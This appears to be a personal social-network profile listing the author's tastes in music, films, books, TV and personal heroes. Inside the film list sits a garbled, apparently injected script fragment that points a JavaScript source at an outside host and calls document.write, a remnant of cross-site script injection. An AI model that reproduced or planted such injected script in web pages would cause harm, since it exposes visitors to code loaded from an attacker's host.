The creative process, fashion and culture, progressive politics (you can be on the left or the right, just be about taking responsibility for the state the planet is in), the state of the environment, music, great literature, spiritual truth, and reading reading reading...
***SORRY, NO MORE BANDS UNLESS YOU WRITE TO ME FIRST. And Please don't invite me to join your group! Or help you sell your commercial product. I'm sorry but it's just not my thing. If you have a blog you think I'll like to read invite away. I'm also always looking for new friends fellow thinkers and creative types, those not opposed to admitting they go deep, ponder, reflect and aspire to be better. I'm bored easily with those who live mostly for the surface, focusing only on the material life.
The Finn Brothers, Squeeze, Bare Naked Ladies, Everything But the Girl, Van Morrison, The Police, Sting, The Cure, Robbie Robertson, The Beatles, the Kinks, Wings, Rolling Stones, Joan Baez, Joni Mitchell, Elvis Costello, Peter Frampton, Fleetwood Mac, Linda Ronstadt, Eric Clapton, Santana,The Doobie Bros, Dire Straights, Boz Scaggs, Steely Dan, Micheal McDonald, Classic Elton John, Coldplay, Guster, The Wallflowers, Pete Yorn, Leona Ness, Bonnie Raitt, Beth Hart, U2, Dave Mathews, Joan Osborne, Allison Krausee, Beth Orton, Sara McGlauchlan, Emmy Lou Harris, Shelby Lynn, Dwight Yokam, Carole King, Alison Krauss, Kim Ritchey, Ella Fitzgerald, Doris Day, Billie Holiday, Bernadette Peters, The Indigo Girls, K.D. Lang, Dolly Parton, Alicia Keys, Zap Mama, Brooklyn Funk Essentials, Norah Jones, Bing Crosby, Danny Kaye, Frank Sinatra, Stevie Wonder, Chaka Khan, Marvin Gaye, Aretha Franklin, Terence Trent D'Arby, Michael Jackson (prior to 2nd nose job), Rick James, Red Hot Chili Peppers, Chopin, Vivaldi, Pucini, Verde, and Mozart, Queens Of The Stone Age, Maroon 5, Counting Crows, Paula Cole, Chris Cornell, The Frames, Sheryl Crow, fielding and Ray Charles, Ray Charles, Ray Charles and of course Prince.
Cat On A Hot Tin Roof, Dr. Zhivago, Lawrence Of Arabia, The Long Hot Summer, Now Voyager, White Christmas, Philadelphia Story, A Room With A View, Sex Lies And Videotap, Crossing Delancy, Gigi, Singing In The Rain, Breakfast At Tiffany's, Benny & June, Chicago, The Lord Of The Rings (all three), 8 Mile, Seabiscuit , Ray,all of the Harry Potter's, Orlando, Children of the Century, Horseman on the Roof, Chocolat, Little Women (Christian Bale version), Blade Runner, Star Wars (last three), Some Like it Hot, Elizabeth and Essex, Robin Hood (Errol Flynn version of course), Bull Durham, Iron Giant, An American in Paris, Cold Mountain and so many many more....... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..
I'm not a huge T.V. watcher but I do love Tavis Smiley and Charlie Rose, I'm a big PBS and Masterpiece Theater fan.
The Places That Scare Us-Pema Chodron, Harry Potter (all), The Inspector Lynley Novels, Anything By Jane Austen, The Sun Also Rises, Trollope, F. Scott Fitzgerald, Anais Nin (the journals more than the books), Anne Lamott (an inspiration). While waiting impatiently for the next Harry Potter book this summer I just read "Jonathan Strange & Mr. Norrell"
My favorite hero is Faramir from Lord of The Rings...and David Wenham who plays him in the movies isn't bad either! Other heroes are Oprah Winfrey (but I don't expect her to save the world), The Dalai Lama, Thich Nhat Hahn, Susie Bright, Dr. Wayne Dyer, Bishop Desmond Tutu, Bill Moyers and how can I foget Leo Buscaglia?